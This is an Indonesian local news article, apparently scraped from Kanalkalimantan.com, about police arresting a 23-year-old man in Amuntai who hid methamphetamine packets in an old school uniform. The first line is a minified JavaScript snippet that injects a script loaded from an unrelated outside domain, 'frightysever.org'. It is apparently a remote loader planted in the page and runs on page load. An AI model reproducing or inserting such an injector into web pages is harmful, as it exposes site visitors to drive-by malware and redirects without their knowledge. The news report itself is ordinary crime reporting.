(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KRIMINAL HSU

Selipkan Sabu di Bekas Seragam Sekolah, ZH Dibekuk Polisi


KANALKALIMANTAN.COM, AMUNTAI – Satuan Reserse Narkoba (Sat Resnarkoba) Polres Hulu Sungai Utara (HSU) membekuk ZH (23) yang kedapatan simpan tiga paket sabu 1,03 gram.

Pemilik gelar akademis sarjana sosial ini berhasil diamankan Sat Resnarkoba Polres HSU di rumahnya jalan Keramat RT 003 RW 002 Desa Tangga Ulin Hilir, Kecamatan Amuntai Tengah, Kabupaten HSU, Senin (19/4/2021) sekitar pukul 05.00 Wita.

Kapolres HSU AKBP Afri Darmawan, SIK MH, melalui Kasat Resnarkoba Iptu Siswadi, kepada Kanalkalimantan.com, Selasa (20/4/2021) membenarkan penangkapan terhadap pelaku ZH saat menjalankan Program HSU Bersinar (Bersih dari Narkoba)
Bermodal informasi masyarakat, pihaknya melakukan penyelidikan dan hasilnya pelaku diringkus polisi menyimpan toga paket narkotika jenis sabu dengan berat 1,03 gram -berat bersih 0,40 gram-.

Baju bekas seragam sekolah tempat menyimpan sabu. Foto: sat resnarkoba polres hsu

 

Baca juga: Janji ‘Hidupkan’ Mess L, Ganti Stadion Banjarbaru!

“Saat penggeledahan, ditemukan satu paket narkotika yang disimpan dalam kamar, tepatnya di kantong depan baju seragam bekas sekolah yang sudah penuh corat-coret milik pelaku,” jelas Kasatresnakoba Polres HSU.

Dua paket sabu lainnya ditemukan di dalam rumah, di atas lantai tepatnya dalam kotak kecil warna putih terbungkus tisu, beserta sebuah timbangan digital. Polisi juga mengamankan barang bukti lainnya, sebuah handphone android.

Baca juga: BREAKING NEWS. Kebakaran di Mawar Banjarmasin, 3 Rumah Hangus dan 1 Relawan Terluka.

Terkait asal usul barang haram tersebut, Kasat Resnarkoba Polres HSU ini mengaku masih melakukan penyelidikan lebih lanjut.
Pelaku bersama barang bukti digelandang ke ruangan Sat Resnarkoba Polres HSU guna proses penyidikan lebih lanjut sesuai dalam pasal 114 ayat 1 atau 112 ayat 1 UU RI Nomor 35 tahun 2009 tentang narkotika. (kanalkalimantan.com/dew)

Reporter: dew
Editor: bie


Al Ghifari

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.